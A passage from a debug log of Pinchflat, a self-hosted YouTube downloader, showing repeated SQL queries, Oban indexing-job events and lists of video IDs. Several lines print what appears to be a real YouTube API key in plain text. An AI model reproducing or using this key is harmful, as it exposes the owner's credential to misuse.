livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:17:37.572 [debug] QUERY OK source="tasks" db=0.1ms idle=172.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799948, 10, ~U[2026-02-10 22:17:37Z], ~U[2026-02-10 22:17:37Z]] 16:17:37.572 [info] {"args":{"id":10},"id":3799910,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":173896,"event":"job:stop","queue_time":329222,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:37.626 [debug] QUERY OK source="media_items" db=0.9ms idle=53.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:17:37.628 [debug] QUERY OK source="media_items" db=1.2ms idle=54.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:17:37.629 [debug] QUERY OK source="tasks" db=0.1ms idle=50.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799949, 34, ~U[2026-02-10 22:17:37Z], ~U[2026-02-10 22:17:37Z]] 16:17:37.629 [info] {"args":{"id":34},"id":3799909,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":230601,"event":"job:stop","queue_time":413639,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:38.399 [info] {"args":{"id":9},"id":3799911,"meta":{},"system_time":1770761858399893295,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:38.400 [info] {"args":{"id":8},"id":3799912,"meta":{},"system_time":1770761858399940438,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:38.400 [debug] QUERY OK source="sources" db=0.2ms idle=770.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:17:38.400 [debug] QUERY OK source="sources" db=0.1ms idle=770.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:17:38.400 [debug] QUERY OK source="settings" db=0.0ms idle=764.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:38.400 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:38.400 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:38.400 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:38.400 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:38.400 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:17:38.400 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:38.401 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:17:38.401 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:38.401 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:38.401 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:38.401 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:38.505 [debug] QUERY OK source="media_items" db=0.6ms idle=103.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 16:17:38.506 [debug] QUERY OK source="media_items" db=0.6ms idle=104.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:17:38.507 [debug] QUERY OK source="tasks" db=0.1ms idle=105.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799950, 9, ~U[2026-02-10 22:17:38Z], ~U[2026-02-10 22:17:38Z]] 16:17:38.507 [info] {"args":{"id":9},"id":3799911,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107350,"event":"job:stop","queue_time":474867,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:38.543 [debug] QUERY OK source="media_items" db=0.4ms idle=36.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:17:38.544 [debug] QUERY OK source="media_items" db=0.3ms idle=36.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:17:38.544 [debug] QUERY OK source="tasks" db=0.0ms idle=31.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799951, 8, ~U[2026-02-10 22:17:38Z], ~U[2026-02-10 22:17:38Z]] 16:17:38.544 [info] {"args":{"id":8},"id":3799912,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":144842,"event":"job:stop","queue_time":267729,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:43.405 [info] {"args":{"id":40},"id":3799913,"meta":{},"system_time":1770761863405696127,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:43.406 [debug] QUERY OK source="sources" db=0.1ms idle=1527.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 16:17:43.406 [debug] QUERY OK source="settings" db=0.0ms idle=1527.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:43.406 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:43.406 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:43.406 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 16:17:43.406 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:43.406 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:17:43.501 [debug] QUERY OK source="media_items" db=0.8ms idle=94.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 16:17:43.504 [debug] QUERY OK source="media_items" db=2.0ms idle=96.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 16:17:43.505 [debug] QUERY OK source="tasks" db=0.1ms idle=98.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799952, 40, ~U[2026-02-10 22:17:43Z], ~U[2026-02-10 22:17:43Z]] 16:17:43.505 [info] {"args":{"id":40},"id":3799913,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99821,"event":"job:stop","queue_time":456708,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:44.406 [info] {"args":{"id":2},"id":3799914,"meta":{},"system_time":1770761864406657942,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:17:44.407 [debug] QUERY OK source="sources" db=0.1ms idle=901.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:17:44.407 [debug] QUERY OK source="settings" db=0.1ms idle=901.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:44.407 [debug] QUERY OK source="media_profiles" db=0.1ms idle=895.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", 